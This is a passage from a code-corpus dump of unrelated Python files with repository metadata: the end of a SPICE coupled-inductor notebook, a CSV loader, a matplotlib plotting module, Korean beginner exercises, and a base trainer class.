antipar_data.ac_sim_phase_DF['V1_[A][deg]'],\n                              axs=[axmag, axphase], title='Anti-Par Currents')\n\naxmag.semilogx(antipar_data.ac_sim_mag_DF.index, antipar_data.ac_sim_mag_DF['Vamm_load_[A][dB]'], label='Out')\naxphase.semilogx(antipar_data.ac_sim_mag_DF.index, antipar_data.ac_sim_phase_DF['Vamm_load_[A][deg]'], label='Out')\n\naxmag.legend(); axphase.legend()\nplt.tight_layout()\n\n\n# ## Autotransformer\n\n# ## Isolation \n\n# https://www.allaboutcircuits.com/technical-articles/transformer-isolation/\n\n# ### Test Bench Type\n\n# ### Medical Type\n\n# ## Multi Winding\n\n# ## Cinter-tapped\n\n# ## Current Transformer\n\n# ## Y-Delta Converters\n\n# # Citations\n\n# [1] ALL ABOUT ELECTRONICS. \"Self Inductance and Mutual Inductance Explained,\" YouTube, Feb 12, 2017. [Video file]. Available: https://youtu.be/hoTInTKij0o. [Accessed: Jul 18, 2021].\n# \n# [2] ALL ABOUT ELECTRONICS. \"Dot Convention in Magnetically Coupled Circuits,\" YouTube, Feb 18, 2017. [Video file]. Available: https://youtu.be/sILgO4sQmRs. [Accessed: Jul 18, 2021].\n# \n# [3] ALL ABOUT ELECTRONICS. \"Mutually Coupled Inductors in Series (Derivation / Proof and Examples),\" YouTube, Apr 21, 2017. [Video file]. Available: https://youtu.be/49OL_3L7BFA. [Accessed: Jul 18, 2021].\n# \n# [4] ALL ABOUT ELECTRONICS. \"Mutually Coupled Inductors in Parallel (Derivation / Proof and Examples),\" YouTube, Apr 24, 2017. [Video file]. Available: https://youtu.be/NacczEJj_iI. [Accessed: Jul 18, 2021].\n# \n# [5] B. Razavi, \"The Bridged T-Coil [A Circuit for All Seasons]\", IEEE Solid-State Circuits Magazine, vol. 7, no. 4, pp. 9-13, 2015. Available: 10.1109/mssc.2015.2474258 [Accessed 27 January 2021] or https://www.seas.ucla.edu/brweb/papers/Journals/BRFall15TCoil.pdf [Accessed: Jul 18, 2021].\n# \n# [6] Jordan Edmunds. \"Bridged T Coil Analysis Part 1 ,\" YouTube, Feb 23, 2018. [Video file]. Available: https://youtu.be/-kSSMOAhlwU. [Accessed: Jul 18, 2021].\n# \n# [7] Jordan Edmunds. \"Bridged T Coil Analysis Part 2 ,\" YouTube, Feb 23, 2018. [Video file]. Available: https://youtu.be/vr2oYehKC8Q. [Accessed: Jul 18, 2021].\n# \n# [8] Vogt, M. Hendrix and P. Nenzi, Ngspice User\u2019s Manual Version 32 (Describes ngspice release version), 32nd ed. 2020, Chapter 12: Mixed-Mode and Behavioral Modeling with XSPICE.\n# \n", "meta": {"hexsha": "92d2869bce68f8ee47dc604b1b1ff7543d5b67d5", "size": 50548, "ext": "py", "lang": "Python", "max_stars_repo_path": "_build/jupyter_execute/AC_2/AC_3_CoupledMag.py", "max_stars_repo_name": "PyLCARS/Python-and-SPICE-Book", "max_stars_repo_head_hexsha": "0bf02aa16d97115cea955d33a7aab7e02f8d3453", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 3, "max_stars_repo_stars_event_min_datetime": "2021-01-04T23:56:51.000Z", "max_stars_repo_stars_event_max_datetime": "2021-02-22T13:22:30.000Z", "max_issues_repo_path": "_build/jupyter_execute/AC_2/AC_3_CoupledMag.py", "max_issues_repo_name": "PyLCARS/Python-and-SPICE-Book", "max_issues_repo_head_hexsha": "0bf02aa16d97115cea955d33a7aab7e02f8d3453", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "_build/jupyter_execute/AC_2/AC_3_CoupledMag.py", "max_forks_repo_name": "PyLCARS/Python-and-SPICE-Book", "max_forks_repo_head_hexsha": "0bf02aa16d97115cea955d33a7aab7e02f8d3453", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 33.7887700535, "max_line_length": 2259, "alphanum_fraction": 0.6610152726, "include": true, "reason": "import numpy,from scipy,import sympy", "num_tokens": 14558, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3738758227716966, "lm_q2_score": 0.1403362422992606, "lm_q1q2_score": 0.05246832805432423}}
{"text": "import pandas as pd\r\nimport matplotlib.pyplot\r\nimport numpy as np\r\n\r\ndef load_csv_data(path_to_csv):\r\n    df = pd.read_csv(path_to_csv)\r\n    return df\r\n\r\ndef filter_by_attribute(df, attribute, value):\r\n    return df[df[attribute] == value]\r\n\r\ndef get_cases_chronologically(df):\r\n    cases = []\r\n    labels = []\r\n    for i in range(df.shape[0]):\r\n        _cases = df.iloc[i, 4:]\r\n        _labels = df.iloc[i, :4]\r\n        cases.append(_cases)\r\n        labels.append(_labels)\r\n    \r\n    cases = np.array(cases)\r\n    labels = np.array(labels)\r\n    return cases, labels\r\n", "meta": {"hexsha": "d0e1ac9666c416e230f86b667bb516265f3d527e", "size": 567, "ext": "py", "lang": "Python", "max_stars_repo_path": "utils/data.py", "max_stars_repo_name": "DachuanZuo/349_final_covid", "max_stars_repo_head_hexsha": "d88b32397fc6499b873cf9d5ac4697a792a5cb6b", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "utils/data.py", "max_issues_repo_name": "DachuanZuo/349_final_covid", "max_issues_repo_head_hexsha": "d88b32397fc6499b873cf9d5ac4697a792a5cb6b", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "utils/data.py", "max_forks_repo_name": "DachuanZuo/349_final_covid", "max_forks_repo_head_hexsha": "d88b32397fc6499b873cf9d5ac4697a792a5cb6b", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 23.625, "max_line_length": 47, "alphanum_fraction": 0.619047619, "include": true, "reason": "import numpy", "num_tokens": 139, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4339814648038985, "lm_q2_score": 0.12085324357297282, "lm_q1q2_score": 0.05244806767210108}}
{"text": "#  Python Module for import                           Date : 2017-05-15\n#  vim: set fileencoding=utf-8 ff=unix tw=78 ai syn=python : per Python PEP 0263 \n''' \n_______________|  yi_plot.py : essential plot functions.\n\nReferences:\n- http://matplotlib.org/api/pyplot_api.html\n\n- Computational tools for pandas\n  http://pandas.pydata.org/pandas-docs/stable/computation.html\n\nCHANGE LOG  For latest version, see https://github.com/rsvp/fecon235\n2017-05-15  Add plotqq() for quantile-quantile Q-Q probability plot.\n2016-01-21  plotn(): Replace its \"dataframe = dataframe.dropna()\" with todf.\n2016-01-20  Receive plotdf(), versions 2014-15, from yi_fred module.\n               plotdf was actually the very first plot routine written.\n               Replace its \"dataframe = dataframe.dropna()\" with todf.\n2015-12-20  python3 compatible: lib import fix.\n2015-12-17  python3 compatible: fix with yi_0sys\n2015-11-19  Add scatter, scats, and scat for rainbow scatter plots.\n2014-12-13  Add plotn where index are not dates (cf. plotdf and plotfred).\n2014-08-08  Add dpi for saving image files.\n2014-08-06  For boxplot, remove y_time.yymmdd_t() as fid, \n               use title instead of fid, and add grid.\n2014-08-05  Revise from yip_plot.py for boxplot to handle dataframe.\n'''\n\nfrom __future__ import absolute_import, print_function\n\nimport matplotlib.pyplot as plt\nimport matplotlib.cm as colormap\nimport pandas as pd\nimport scipy\nfrom . import yi_0sys as system\nfrom . import yi_1tools as tools\n\ndotsperinch = 140                 #  DPI resolution for plot.\n\n\n#  The function to plot data looks routine, but in actuality specifying the\n#  details can be such a hassle involving lots of trial and error.\n\ndef plotdf( dataframe, title='tmp' ):\n    '''Plot dataframe where its index are dates.'''\n    dataframe = tools.todf(dataframe)\n    #                ^todf must dropna(),\n    #                 otherwise index of last point plotted may be wrong.\n    #           Also helps if dataframe resulted from synthetic operations,\n    #           or if a Series was incorrectly submitted as Dataframe.      \n    fig, ax = plt.subplots()\n    ax.xaxis_date()\n    #  ^interpret x-axis values as dates.\n    plt.xticks( rotation='vertical' )\n    #       show x labels vertically.\n\n    ax.plot( dataframe.index, dataframe, 'b-' )\n    #        ^x               ^y          blue line\n    #                                     k is black.\n    ax.set_title( title + ' / last ' + str(dataframe.index[-1]) )  \n    #                                  ^timestamp of last data point\n    plt.grid(True)\n    plt.show()\n\n    #  Now prepare the image FILE to save, \n    #  but ONLY if the title is not the default\n    #  (since this operation can be very slow):\n    if title != 'tmp':\n         title = title.replace( ' ', '_' )\n         imgf = 'plotdf-' + title + '.png' \n         fig.set_size_inches(11.5, 8.5)\n         fig.savefig( imgf, dpi=dotsperinch )\n         print(\" ::  Finished: \" + imgf)\n    return\n\n\n\ndef plotn( dataframe, title='tmp' ):\n    '''Plot dataframe (or list) where the index is numbered (not dates).'''\n    #  2014-12-13  Adapted from plotdf which uses date index.\n    #  2016-01-21  With todf pre-filter, list type will be converted.\n    dataframe = tools.todf(dataframe)\n    #                ^todf must dropna(),\n    #                 otherwise index of last point plotted may be wrong.\n    #           Also helps if dataframe resulted from synthetic operations,\n    #           or if a Series was incorrectly submitted as Dataframe.      \n    fig, ax = plt.subplots()\n    #  ax.xaxis_date()\n    #  #  ^interpret x-axis values as dates.\n    plt.xticks( rotation='vertical' )\n    #       show x labels vertically.\n\n    ax.plot( dataframe.index, dataframe, 'b-' )\n    #        ^x               ^y          blue line\n    #                                     k is black.\n    ax.set_title( title + ' / last ' + str( dataframe.index[-1]) )  \n    #                                  ^index on last data point\n    plt.grid(True)\n    plt.show()\n\n    #  Now prepare the image FILE to save, \n    #  but ONLY if the title is not the default\n    #  (since this operation can be very slow):\n    if title != 'tmp':\n         title = title.replace( ' ', '_' )\n         imgf = 'plotn-' + title + '.png' \n         fig.set_size_inches(11.5, 8.5)\n         fig.savefig( imgf, dpi=dotsperinch )\n         print(\" ::  Finished: \" + imgf)\n    return\n\n\n\n#  #  Test data for boxplot:\n#  import numpy as np\n#  \n#  np.random.seed(10)\n#  \n#  data = np.random.randn(30, 4)\n#  labels = ['A', 'B', 'C', 'D']\n\n\ndef boxplot( data, title='tmp', labels=[] ):\n     '''Make boxplot from data which could be a dataframe.'''\n     #  - Use list of strings for labels, \n     #       since we presume data has no column names, \n     #       unless data is a dataframe.\n     #\n     #  - Directly entering a dataframe as data will fail, \n     #       but dataframe.values will work, so:\n     lastidx = 'NA'\n     #         ^for part of the plot's title...\n     #  If data is a dataframe, extract some info \n     #    before conversion to values:\n     if isinstance( data, pd.DataFrame ):\n          lastidx = str( data.index[-1] )  \n          colnames = list( data.columns )\n          labels = colnames\n          data = data.values\n\n     fig, ax = plt.subplots()\n     ax.boxplot( data )\n     ax.set_xticklabels( labels )\n     #  HACK to show points of last row as a red dot:\n     ax.plot( [list(data[-1])[0]] + list(data[-1]), 'or' )\n          #   ^need a dummy first point in the neighborhood\n          #    for autoscale to work properly.\n     ax.set_title( title + ' / last ' + lastidx )  \n     plt.grid(True)\n     plt.show()\n\n     #  Now prepare the image file to save:\n     title = title.replace( ' ', '_' )\n     imgf = 'boxplot-' + title + '.png' \n     fig.set_size_inches(11.5, 8.5)\n     fig.savefig( imgf, dpi=dotsperinch )\n     print(\" ::  Finished: \" + imgf)\n     return\n\n\n\ndef scatter( dataframe, title='tmp', col=[0, 1] ):\n    '''Scatter plot for dataframe by zero-based column positions.'''\n    #  First in col is x-axis, second is y-axis.\n    #  Index itself is excluded from position numbering.\n    dataframe = dataframe.dropna()\n    #           ^esp. if it resulted from synthetic operations, \n    #                 else timestamp of last point plotted may be wrong.\n    count  = len( dataframe )\n    countf = float( count )\n    colorseq = [ i / countf for i in range(count) ]\n    #  Default colorseq uses rainbow, same as MATLAB.\n    #  So sequentially: blue, green, yellow, red.\n    #  We could change colormap by cmap below.\n    fig, ax = plt.subplots()\n    plt.xticks( rotation='vertical' )\n    #       Show x labels vertically.\n    ax.scatter( dataframe.iloc[:, col[0]], dataframe.iloc[:, col[1]], \n                c=colorseq )\n    #         First arg for x-axis, second for y-axis, then\n    #         c is for color sequence. For another type of\n    #         sequential color shading, we could append argument:\n    #             cmap=colormap.coolwarm\n    #             cmap=colormap.Spectral\n    #             cmap=colormap.viridis  [perceptual uniform]\n    #         but we leave cmap arg out since viridis will be the \n    #         default soon: http://matplotlib.org/users/colormaps.html\n    colstr = '_' + str(col[0]) + '-' + str(col[1]) \n    ax.set_title(title + colstr + ' / last ' + str(dataframe.index[-1]))  \n    #                                          ^index on last data point\n    plt.grid(True)\n    plt.show()\n\n    #  Now prepare the image FILE to save, \n    #  but ONLY if the title is not the default\n    #  (since this operation can be very slow):\n    if title != 'tmp':\n         title = title.replace( ' ', '_' ) + colstr\n         imgf = 'scat-' + title + '.png' \n         fig.set_size_inches(11.5, 8.5)\n         fig.savefig( imgf, dpi=dotsperinch )\n         print(\" ::  Finished: \" + imgf)\n    return\n\n\n\ndef scats( dataframe, title='tmp' ):\n    '''All pair-wise scatter plots for dataframe.'''\n    #  Renaming title will result in file output.\n    ncol  = dataframe.shape[1]\n    #                ^number of columns\n    pairs = [ [i, j] for i in range(ncol) for j in range(ncol) if i < j ]\n    npairs = (ncol**2 - ncol) / 2\n    #  e.g. ncol==5  implies npairs==10\n    #       ncol==10 implies npairs==45\n    #       ncol==20 implies npairs==190\n    print(\" ::  Number of pair-wise plots: \" + str(npairs))\n    for pair in pairs:\n        print(\" ::  Show column pair: \" + str(pair))\n        scatter( dataframe, title, pair )\n        print(\"----------------------\")\n    return\n\n\n\ndef scat( dfx, dfy, title='tmp', col=[0, 1] ):\n    '''Scatter plot between two pasted dataframes.'''\n    #  Renaming title will result in file output.\n    scatter( tools.paste([ dfx, dfy ]), title, col ) \n    return\n\n\n\n#  Note: Leptokurtosis (\"fat tails\") is much more distinctive in the \n#  Q-Q plots than P-P plots. Bi-modality and skewness are more distinctive \n#  in P-P plots (discriminating in regions of high probability density) \n#  than Q-Q plots (better for regions of low probability density).\n#     See https://en.wikipedia.org/wiki/P\u2013P_plot\n#     and http://v8doc.sas.com/sashtml/qc/chap8/sect9.htm\n\n\ndef plotqq( data, title='tmp', dist='norm', fitLS=True ):\n    '''Display/save quantile-quantile Q-Q probability plot.\n       Q\u2013Q plot here is used to compare data to a theoretical distribution.\n       Ref: https://en.wikipedia.org/wiki/Q\u2013Q_plot\n    '''\n    #     Assume \"data\" to be np.ndarray or single-column DataFrame.\n    #  Theoretical quantiles on horizontal x-axis estimated by Filliben method.\n    #  Green line in plot depicits theoretical distribution; fitLS computes R^2:\n    #      The axes are purposely transformed in order to make the specified\n    #      distribution \"dist\" appear as a linear green line.\n    #                   'norm' is a Gaussian distribution.\n    #  The \"data\" plotted along the vertical y-axis.\n    fig, ax = plt.subplots()\n    arr = tools.toar( data )\n    #     ^Roundabout way guarantees a pure array needed for MAIN probplot:\n    _ = scipy.stats.probplot( arr, dist=dist, fit=fitLS, plot=plt )\n    #   Ignore numerical output, just give plot object to matplotlib.\n    #  https://docs.scipy.org/doc/scipy/reference/generated/scipy.stats.probplot.html\n    #  Prefer scipy version over statsmodels.graphics.gofplots.qqplot()\n    ax.get_lines()[0].set_marker('.')\n    ax.get_lines()[0].set_markersize(7.0)\n    ax.get_lines()[0].set_markerfacecolor('r')\n    #             [0] strangely refers to data points, set to red.\n    ax.get_lines()[1].set_color('g')\n    #             [1] refers to the straight theoretic line, set to green.\n    #         But points in common should be blue, rather than brown.\n    plt.title( title + \" / plotqq \" + dist + \", count=\" + str(len(arr)) )\n    plt.grid(True)\n    plt.show()\n    #  Prepare image FILE to save, but ONLY if the title is not the default:\n    if title != 'tmp':\n         title = title.replace( ' ', '_' )\n         imgf = 'plotqq-' + title + '.png' \n         fig.set_size_inches(11.5, 8.5)\n         fig.savefig( imgf, dpi=dotsperinch )\n         print(\" ::  Finished: \" + imgf)\n    return\n\n\n\nif __name__ == \"__main__\":\n     system.endmodule()\n", "meta": {"hexsha": "d70e1f40ef938db65656c9daf1464a32331d1014", "size": 11205, "ext": "py", "lang": "Python", "max_stars_repo_path": "lib/yi_plot.py", "max_stars_repo_name": "maidenlane/five", "max_stars_repo_head_hexsha": "bf14dd37b0f14d6998893c2b0478275a0fc55a82", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-04-24T05:29:26.000Z", "max_stars_repo_stars_event_max_datetime": "2020-04-24T05:29:26.000Z", "max_issues_repo_path": "lib/yi_plot.py", "max_issues_repo_name": "maidenlane/five", "max_issues_repo_head_hexsha": "bf14dd37b0f14d6998893c2b0478275a0fc55a82", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "lib/yi_plot.py", "max_forks_repo_name": "maidenlane/five", "max_forks_repo_head_hexsha": "bf14dd37b0f14d6998893c2b0478275a0fc55a82", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2020-04-24T05:34:06.000Z", "max_forks_repo_forks_event_max_datetime": "2020-04-24T05:34:06.000Z", "avg_line_length": 39.593639576, "max_line_length": 85, "alphanum_fraction": 0.6009817046, "include": true, "reason": "import numpy,import scipy", "num_tokens": 2930, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4649015565456543, "lm_q2_score": 0.11279540330049728, "lm_q1q2_score": 0.052438758565596016}}
{"text": "#if 4 < 3:\n#    print(\"Hello World.\")\n#else:\n#    print(\"Hi, there.\")\nprint(\"Hi, there.\")\n\n\n#if True :\n#    print(\"1\")\n#    print(\"2\")\n#else :\n#    print(\"3\")\n#print(\"4\")\nprint(\"1\")\nprint(\"2\")\nprint(\"4\")\n\n\n#if True :\n#    if False:\n#        print(\"1\")\n#        print(\"2\")\n#    else:\n#        print(\"3\")\n#else :\n#    print(\"4\")\n#print(\"5\")\nprint(\"3\")\nprint(\"5\")\n\n\n# \uc0ac\uc6a9\uc790\ub85c\ubd80\ud130 \ud558\ub098\uc758 \uac12\uc744 \uc785\ub825\ubc1b\uc740 \ud6c4 \ud574\ub2f9 \uac12\uc5d0 20\uc744 \ube80 \uac12\uc744 \ucd9c\ub825\ud558\ub77c.\n# \ub2e8 \ucd9c\ub825 \uac12\uc758 \ubc94\uc704\ub294 0~255\uc774\ub2e4.\n\n# \uacb0\uad0f\uac12\uc774 0\ubcf4\ub2e4 \uc791\uc740 \uac12\uc774\ub418\ub294 \uacbd\uc6b0 0\uc744 \ucd9c\ub825\ud558\uace0\n# 255\ubcf4\ub2e4 \ud070 \uac12\uc774 \ub418\ub294 \uacbd\uc6b0 255\ub97c \ucd9c\ub825\ud574\uc57c \ud55c\ub2e4.\n\ndata = int(input())\ndata -= 20\nif 0 <= data and data <= 255:\n    print(data)\nelif data < 0:\n    print(0)\nelse:\n    print(255)\n\n\n# \uc0ac\uc6a9\uc790\ub85c \uc785\ub825\ubc1b\uc740 \ub2e8\uc5b4\uac00 \uc544\ub798 fruit \ub9ac\uc2a4\ud2b8\uc5d0 \ud3ec\ud568\ub418\uc5b4 \uc788\ub294\uc9c0\ub97c \ud655\uc778\ud558\ub77c. \ud3ec\ud568\ub418\uc5c8\ub2e4\uba74 \"\uc815\ub2f5\uc785\ub2c8\ub2e4\"\ub97c \uc544\ub2d0 \uacbd\uc6b0 \"\uc624\ub2f5\uc785\ub2c8\ub2e4\" \ucd9c\ub825\ud558\ub77c.\n# (input() \ud568\uc218\ub97c \uc0ac\uc6a9\ud560 \uac83. \uc798 \ubaa8\ub974\uaca0\ub2e4\uba74 python input \ud568\uc218 \uc0ac\uc6a9\ubc95 \uc774\ub77c\uace0 \uac80\uc0c9\ud574\uc11c \uc0ac\uc6a9\ubc95\uc744 \ub2e4\uc2dc \uc775\ud790 \uac83.)\nfruit = [\"\uc0ac\uacfc\", \"\ud3ec\ub3c4\", \"\ud64d\uc2dc\"]\ndata = input('\uc88b\uc544\ud558\ub294 \uacfc\uc77c\uc740?')\nif data in fruit:\n    print('\uc815\ub2f5\uc785\ub2c8\ub2e4')\nelse:\n    print('\uc624\ub2f5\uc785\ub2c8\ub2e4')\n\n\n# 2016\ub144 11\uc6d4 \uc601\ud654 \uc608\ub9e4 \uc21c\uc704 \uae30\uc900 top3\ub294 \ub2e4\uc74c\uacfc \uac19\uc2b5\ub2c8\ub2e4. \uc601\ud654 \uc81c\ubaa9\uc744 movie_rank \uc774\ub984\uc758 \ub9ac\uc2a4\ud2b8\uc5d0 \uc800\uc7a5\ud574\ubcf4\uc138\uc694. (\uc21c\uc704 \uc815\ubcf4\ub294 \uc800\uc7a5\ud558\uc9c0 \uc54a\uc2b5\ub2c8\ub2e4.)\nmovie_rank = ['\ub2e5\ud130 \uc2a4\ud2b8\ub808\uc778\uc9c0', '\uc2a4\ud50c\ub9bf', '\ub7ed\ud0a4']\n\n# 006\uc758 moive_rand \ub9ac\uc2a4\ud2b8\uc5d0 \"\ubc30\ud2b8\ub9e8\"\uc744 \ucd94\uac00\ud558\ub77c.\nmovie_rank.append('\ubc30\ud2b8\ub9e8')\nprint(movie_rank)\n\n# movie_rank \ub9ac\uc2a4\ud2b8\uc5d0\ub294 \uc544\ub798\uc640 \uac19\uc774 \ub124 \uac1c\uc758 \uc601\ud654 \uc81c\ubaa9\uc774 \ubc14\uc778\ub529\ub418\uc5b4 \uc788\ub2e4. \"\uc288\ud37c\ub9e8\"\uc744 \"\ub2e5\ud130 \uc2a4\ud2b8\ub808\uc778\uc9c0\"\uc640 \"\uc2a4\ud50c\ub9bf\" \uc0ac\uc774\uc5d0 \ucd94\uac00\ud558\ub77c.\nmovie_rank.insert(1, '\uc288\ud37c\ub9e8')\nprint(movie_rank)\n\n# movie_rank \ub9ac\uc2a4\ud2b8\uc5d0\uc11c '\ub7ed\ud0a4'\ub97c \uc0ad\uc81c\ud558\ub77c.\ndel movie_rank[3]\nprint(movie_rank)\n\n# movie_rank \ub9ac\uc2a4\ud2b8\uc5d0\uc11c '\uc2a4\ud50c\ub9bf' \uacfc '\ubc30\ud2b8\ub9e8'\uc744 \ub97c \uc0ad\uc81c\ud558\ub77c.\ndel movie_rank[2 : 4]\nprint(movie_rank)\n\n# lang1\uacfc lang2 \ub9ac\uc2a4\ud2b8\uac00 \uc788\uc744 \ub54c lang1\uacfc lang2\uc758 \uc6d0\uc18c\ub97c \ubaa8\ub450 \uac16\uace0 \uc788\ub294 langs \ub9ac\uc2a4\ud2b8\ub97c \ub9cc\ub4e4\uc5b4\ub77c.\nlang1 = [\"C\", \"C++\", \"JAVA\"]\nlang2 = [\"Python\", \"Go\", \"C#\"]\nlangs = lang1 + lang2\nprint(langs)\n\n\n# \ub2e4\uc74c \ub9ac\uc2a4\ud2b8\uc5d0\uc11c \ucd5c\ub313\uac12\uacfc \ucd5c\uc19f\uac12\uc744 \ucd9c\ub825\ud558\ub77c. \nnums = [1, 2, 3, 4, 5, 6, 7]\nprint(min(nums))\nprint(max(nums))\n\n# \ub2e4\uc74c \ub9ac\uc2a4\ud2b8\uc758 \ud569\uc744 \ucd9c\ub825\ud558\ub77c.\nnum = [1,2,3,4,5]\nprint(sum(num))\n\n# \ub2e4\uc74c \ub9ac\uc2a4\ud2b8\uc5d0 \uc800\uc7a5\ub41c \ub370\uc774\ud130\uc758 \uac1c\uc218\ub97c \ud654\uba74\uc5d0 \uad6c\ud558\ud558\ub77c.\ncook = [\"\ud53c\uc790\", \"\uae40\ubc25\", \"\ub9cc\ub450\", \"\uc591\ub150\uce58\ud0a8\", \"\uc871\ubc1c\", \"\ud53c\uc790\", \"\uae40\uce58\ub9cc\ub450\", \"\ucac4\uba74\", \"\uc18c\uc2dc\uc9c0\", \"\ub77c\uba74\", \"\ud325\ube59\uc218\", \"\uae40\uce58\uc804\"]\nprint(len(cook))\n\n# \ub2e4\uc74c \ub9ac\uc2a4\ud2b8\uc758 \ud3c9\uade0\uc744 \ucd9c\ub825\ud558\ub77c.\nimport numpy\nnums = [1, 2, 3, 4, 5]\naverage = numpy.mean(nums)\nprint(f\"average : {average}\")\n\n# \ub2e4\uc74c \ucf54\ub4dc\ub97c for\ubb38\uc73c\ub85c \uc791\uc131\ud558\ub77c.\nprint(\"-------\")\nprint(\"-------\")\nprint(\"-------\")\nprint(\"-------\")\nfor list in [1,2,3,4]:\n    print(\"-------\")\n\n\n# # \ub2e4\uc74c \ucf54\ub4dc\ub97c for\ubb38\uc73c\ub85c \uc791\uc131\ud558\ub77c.\n# print(10)\n# print(\"-------\")\n# print(20)\n# print(\"-------\")\n# print(30)\n# print(\"-------\")\nfor i in [10,20,30]:\n    print(i)\n    print(\"-------\")\n\n# \ub2e4\uc74c \uc608\uc2dc\ubb38\uc744 \ud1b5\ud574 \uc608\uc0c1 \ub418\ub294 \ub300\ub85c \ubc18\ubcf5\ubb38\uc744 \ud65c\uc6a9\ud55c \ucf54\ub4dc\ub97c \uc791\uc131\ud574\ubcf4\uc138\uc694.\n# 101\n# 103\n# 105\n# 107\n# 109\n# 200\n# 202\n# 204\n# 206\n# 208\n# ...\n# 800\n# 802\n# 804\n# 806\n# 808\n# 901\n# 903\n# 905\n# 907\n# 909\n\nfor i in range(1, 9+1):\n    for j in range(0, 9+1):\n        if i % 2 == j % 2:\n            print(i, 0, j)\n\n# \ub9ac\uc2a4\ud2b8\uc5d0\ub294 \ub3d9\ubb3c\uc774\ub984\uc774 \ubb38\uc790\uc5f4\ub85c \uc800\uc7a5\ub3fc \uc788\ub2e4.\n# \ub9ac\uc2a4\ud2b8 = ['dog', 'cat', 'parrot']\n# \ub3d9\ubb3c \uc774\ub984\uacfc \uae00\uc790\uc218\ub97c \ub2e4\uc74c\uacfc \uac19\uc774 \ucd9c\ub825\ud558\ub77c.\n\n\ub9ac\uc2a4\ud2b8 = ['dog', 'cat', 'parrot']\nfor i in \ub9ac\uc2a4\ud2b8:\n    print(i, len(i))\n\n# \ub9ac\uc2a4\ud2b8\uc5d0\ub294 \ub124 \uac1c\uc758 \ubb38\uc790\uc5f4\uc774 \ubc14\uc778\ub529\ub3fc \uc788\ub2e4.\n# \ub9ac\uc2a4\ud2b8 = [\"\uac00\", \"\ub098\", \"\ub2e4\", \"\ub77c\"]\n# for\ubb38\uc744 \uc0ac\uc6a9\ud574\uc11c \ub2e4\uc74c\uacfc \uac19\uc774 \ucd9c\ub825\ud558\ub77c.\n\n\ub9ac\uc2a4\ud2b8 = [\"\uac00\", \"\ub098\", \"\ub2e4\", \"\ub77c\"]\nfor i in reversed(\ub9ac\uc2a4\ud2b8):\n   print(i)\n\n", "meta": {"hexsha": "3db34543aad2193067096814802a5da8f911e815", "size": 2844, "ext": "py", "lang": "Python", "max_stars_repo_path": "211013.py", "max_stars_repo_name": "ghdtjf/Beakjon", "max_stars_repo_head_hexsha": "5e2e05540c53f277397a64a367294c6ba4dbeb43", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "211013.py", "max_issues_repo_name": "ghdtjf/Beakjon", "max_issues_repo_head_hexsha": "5e2e05540c53f277397a64a367294c6ba4dbeb43", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "211013.py", "max_forks_repo_name": "ghdtjf/Beakjon", "max_forks_repo_head_hexsha": "5e2e05540c53f277397a64a367294c6ba4dbeb43", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 17.0299401198, "max_line_length": 94, "alphanum_fraction": 0.5601265823, "include": true, "reason": "import numpy", "num_tokens": 1420, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.2598256379609837, "lm_q2_score": 0.20181322946142372, "lm_q1q2_score": 0.052436251093780806}}
{"text": "import numpy as np\nimport pandas as pd\nfrom abc import ABCMeta, abstractmethod\n\nclass BaseTrainer:\n    \"\"\"\n    Base class for all trainers\n    \"\"\"\n    \n    def __init__(self):\n        pass\n    \n    @abstractmethod\n    def fit(self):\n        raise NotImplementedError\n    \n    @abstractmethod\n    def evaluate(self):\n        raise NotImplementedError\n    \n    @abstractmethod\n    def predict(self):\n        raise NotImplementedError\n", "meta": {"hexsha": "106f8c18736816353e3b20d539c7538dcd1485b7", "size": 432, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/base_trainer.py", "max_stars_repo_name": "fukasawat78/python-data-science-notebook", "max_stars_repo_head_hexsha": "e35ca9b996aad7d0cb04733eaf45507d09ead6a5", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "src/base_trainer.py", "max_issues_repo_name": "fukasawat78/python-data-science-notebook", "max_issues_repo_head_hexsha": "e35ca9b996aad7d0cb04733eaf45507d09ead6a5", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/base_trainer.py", "max_forks_repo_name": "fukasawat78/python-data-science-notebook", "max_forks_repo_head_hexsha": "e35ca9b996aad7d0cb04733eaf45507d09ead6a5", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, 